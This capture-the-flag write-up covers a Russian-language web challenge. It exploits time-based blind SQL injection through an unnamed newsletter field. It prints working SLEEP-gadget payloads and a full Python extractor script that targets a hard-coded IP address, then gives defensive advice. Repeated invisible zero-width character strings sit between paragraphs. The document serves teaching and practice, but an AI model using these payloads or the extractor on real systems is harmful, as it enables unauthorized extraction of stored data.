← Back to Writeups
CUSTOMMediumWeb

Отсутствие присутствия (Absence of presence)

XESXOR9/10/20268 min read
#web#custom#medium#binary_exact_match_verificatio#binary_search_character_extrac#empty_gate_discovery_email0_vs#single_quote_string_break_with#single_row_sleep_scoping_via_d#time_based_blind_sql_injection#linux

Отсутствие присутствия (Absence of presence)

Platform: hackerlab | Category: Web | Type: Challenge | Difficulty: Medium | OS: Linux | Author: XESXOR | Date: 2026-06-03 | Status: Solved Techniques: binary_exact_match_verification, binary_search_character_extraction, empty_gate_discovery_email0_vs_emailx, single_quote_string_break_with_hash_comment, single_row_sleep_scoping_via_derived_table, time_based_blind_sql_injection

Summary

Task: a static 'Lugx Gaming Shop' PHP/MySQL site whose newsletter Subscribe form has an input with id=email but no name attribute, so the email parameter is never submitted by a browser. Solution: manually POST email to index.php, discover a !empty() gate (email=0 vs email=x) hiding a no-output backend SELECT, then exploit it via time-based blind SQL injection with single-row-scoped SLEEP to extract the flag stored as a subscriber's email.

Отсутствие присутствия (Absence of presence) — hackerlab

Description

Отсутствие присутствия Похоже в этом магазине чего-то не хватает...

English translation:

Absence of presence Looks like something is missing in this shop...

A static "Lugx Gaming Shop" HTML5 template is served by Apache (PHP 8.0.46 backend, MySQL 8.0.46). The visible pages are index.php, shop.php, product-details.php, and contact.php, plus assets/, vendor/, and javascript/ asset directories. There are no backups, no .git/.env, and no hidden endpoints. The title and description are both wordplay hints: something is literally absent in the page — and that absence is the key to the challenge. ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

Flag format: CODEBY{...}.

Reconnaissance

The site looks entirely static. Directory and file fuzzing with common.txt and raft-large-directories.txt (plus .php/.bak/.swp extensions) found only the four known PHP pages and three asset directories — no source leak, no backup, no hidden handler file.

Parameter fuzzing told a different story. After testing ~110 then ~3843 POST parameter names, exactly one parameter was reactive:

  • Every page returns the normal 200 response of 15077 bytes for any unknown parameter.
  • A POST of a non-empty email parameter to /index.php (or /) returns HTTP/1.0 500 Internal Server Error, Content-Length: 0, and an empty body.
  • email only reacts on index.php//; shop.php, contact.php, and product-details.php ignore it.
  • GET ?email= has no effect (200). Only a real POST populating $_POST['email'] triggers the 500. PUT/DELETE/PATCH return 200 because they don't populate $_POST. ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

The Semantic Clue — the missing name attribute

The newsletter Subscribe form on index.php contains an input declared as:

html
<input type="text" id="email" placeholder="Your email...">

The input has id="email" but no name attribute. A browser only submits form fields that have a name, so this field is never sent on a normal submit — the parameter is literally absent. That is the "absence of presence" / "something is missing": the handler for email exists on the server, but the form can never reach it without manual intervention. ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

The intended insight is to notice the missing name, then manually craft a POST that sends an email parameter to index.php.

The Misleading 500 — pitfall and lesson

The empty 500 was the single biggest trap in this challenge.

Because every non-empty value (valid@email, \, quotes, php://filter/..., /etc/passwd, serialized blobs, JSON, base64) produced the same empty 500, the behaviour looked "value-independent." That misread caused several attack families to be wrongly killed:

  • value-reflected SQL injection
  • LFI / PHP wrappers
  • command injection / RCE
  • SSTI
  • unserialize() of the value
  • a hypothetical second hidden "unlock" parameter ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

In reality, display_errors was off, so a backend SELECT that produced no output simply returned an empty response — and the 500 was the success path, not a fatal "undefined function/class" (which is what "absence of presence" tempts you to assume).

The breakthrough was a single differential test on the truthiness of the value:

email=0   -> 200   (falsy: !empty() is false, branch skipped)
email=x   -> 500   (truthy: !empty() is true, backend SELECT runs)

This proved the gate is effectively: ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

php
if (!empty($_POST['email'])) {
    // backend SELECT ... WHERE email = '$email'  (no visible output on success)
}

The value does matter logically — there is just no visible output channel. That immediately points to a blind injection where the only oracle is timing.

Vulnerability — time-based blind SQL injection

The email value is interpolated unescaped into a single-quoted string literal in a backend SELECT. Probing confirmed:

  • A single quote ' breaks the literal; a double quote " does not.
  • # comments out the trailing part of the query. ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

Because there is no visible output and no boolean-reflected difference, the injection is time-based blind.

Critical technique: scope SLEEP to exactly one row

The backend query iterates ~4 rows. A naive OR SLEEP(n) runs SLEEP once per matched row, multiplying the delay and effectively hanging the request. The fix is to scope the sleep to a single row using a derived-table subquery so it fires exactly once:

sql
(SELECT SLEEP(n) FROM (SELECT 1)b)

Time oracle (verified on the live target: TRUE ≈ 2.2s, FALSE ≈ 0.2s)

‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

TRUE:  email=x' AND IF(1=1,(SELECT SLEEP(2) FROM (SELECT 1)b),0)#
FALSE: email=x' AND IF(1=2,(SELECT SLEEP(2) FROM (SELECT 1)b),0)#

Exploitation

Database recon (via the time oracle)

  • Current user: administrator@127.0.0.1
  • MySQL 8.0.46, secure_file_priv = /var/lib/mysql-files/
  • Database: subscription
  • Table: subscribers(id, email, subscsibed_at) — note the misspelled column subscsibed_at
  • The flag is stored as one subscriber's email value.

Confirm a flag row exists

‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

email=x' AND IF((SELECT email FROM subscription.subscribers WHERE email LIKE 'CODEBY{%' LIMIT 1) IS NOT NULL,(SELECT SLEEP(2) FROM (SELECT 1)b),0)#

Character extraction (binary search on ASCII via the time oracle)

Each character is recovered by binary-searching its ASCII code with ASCII(SUBSTRING((<subquery>),i,1)) > mid, all wrapped in the single-row SLEEP gadget. A noise-resistant extractor (extract.py) automates this, re-confirming each character with an equality check and a 3-vote majority re-search to defeat network jitter. ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

python
#!/usr/bin/env python3
import requests, sys, time

URL = "http://62.173.140.174:16104/index.php"
DELAY = 2.0
THRESH = 1.0  # seconds; > THRESH => condition TRUE

def cond(expr):
    payload = "x' AND IF(" + expr + ",(SELECT SLEEP(" + str(DELAY) + ") FROM (SELECT 1)b),0)#"
    for attempt in range(3):
        try:
            t0 = time.time()
            requests.post(URL, data={"email": payload}, timeout=15)
            return (time.time() - t0) > THRESH
        except requests.exceptions.Timeout:
            return True
        except Exception:
            time.sleep(1)
    return False
‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

def bin_count(lhs, lo=0, hi=64):
    while lo < hi:
        mid = (lo + hi) // 2
        if cond(lhs + ">" + str(mid)):
            lo = mid + 1
        else:
            hi = mid
    return lo

def extract_string(subquery):
    n = bin_count("LENGTH((" + subquery + "))", 0, 200)
    print("[len=%d]" % n)
    out = []
    for i in range(1, n + 1):
        lo, hi = 32, 126
        while lo < hi:
            mid = (lo + hi) // 2
            if cond("ASCII(SUBSTRING((" + subquery + ")," + str(i) + ",1))>" + str(mid)):
                lo = mid + 1
            else:
                hi = mid
        # equality re-confirm with majority vote to defeat noise
        if not cond("ASCII(SUBSTRING((" + subquery + ")," + str(i) + ",1))=" + str(lo)):
            lo2, hi2 = 32, 126
            while lo2 < hi2:
                mid = (lo2 + hi2) // 2
                votes = sum(cond("ASCII(SUBSTRING((" + subquery + ")," + str(i) + ",1))>" + str(mid)) for _ in range(3))
                lo2 = mid + 1 if votes >= 2 else lo2
                hi2 = hi2 if votes >= 2 else mid
            lo = lo2
        out.append(chr(lo)); sys.stdout.write(chr(lo)); sys.stdout.flush()
    print()
    return "".join(out)
‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

if __name__ == "__main__":
    # python3 extract.py custom "SELECT GROUP_CONCAT(email SEPARATOR 0x0a) FROM subscription.subscribers"
    print("RESULT:", extract_string(sys.argv[2]))

Run:

bash
python3 extract.py custom "SELECT GROUP_CONCAT(email SEPARATOR 0x0a) FROM subscription.subscribers"

Final case-sensitive verification

A BINARY exact-match confirms the extracted value precisely (case-sensitive, exactly one matching row):

email=x' AND IF((SELECT COUNT(*) FROM subscription.subscribers WHERE email=BINARY 'CODEBY{REDACTED}')=1,(SELECT SLEEP(2) FROM (SELECT 1)b),0)#

‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

This payload sleeps, confirming the flag.

Key Lessons

  • A "value-independent" 500 with an empty body and display_errors off is often a success path, not a fatal. Distinguish them with a truthiness probe (email=0 vs email=x) to reveal a !empty() gate before discarding injection hypotheses.
  • Read the form, not just the request. An id without a name means the field is never sent by a browser — the server handler exists but is unreachable until you POST the parameter manually. That is exactly the "absence of presence" wordplay.
  • Time-based blind is the right tool when there is no visible/boolean output channel. Timing was the only oracle here.
  • Scope SLEEP to a single row with (SELECT SLEEP(n) FROM (SELECT 1)b). OR SLEEP(n) multiplies across matched rows and hangs the request, which can be misread as "no injection."
  • Verify with BINARY equality to rule out case ambiguities in the extracted flag. ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

This challenge is part of the same hackerlab author family as 20260103_hackerlab_ne_utsutuga (multi-field INSERT fragmented SQLi) and 20260104_hackerlab_sekret (hidden POST parameter). The recurring theme: a non-obvious injection vector reached through an unusual or hidden request parameter.

Defense

  • Use parameterized queries / prepared statements; never interpolate request values into SQL string literals.
  • Do not store secrets (or anything sensitive) in queryable columns reachable from unauthenticated input.
  • Add a constant-time baseline / query timeouts and rate limiting to blunt time-based oracles.
  • Keep display_errors off in production and return consistent, non-distinguishable responses for success vs. error so timing/length differentials don't form an oracle.
  • Ensure server-side handlers validate that expected parameters are actually present and bound — an orphaned handler for a never-submitted field is dead, attackable code. ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍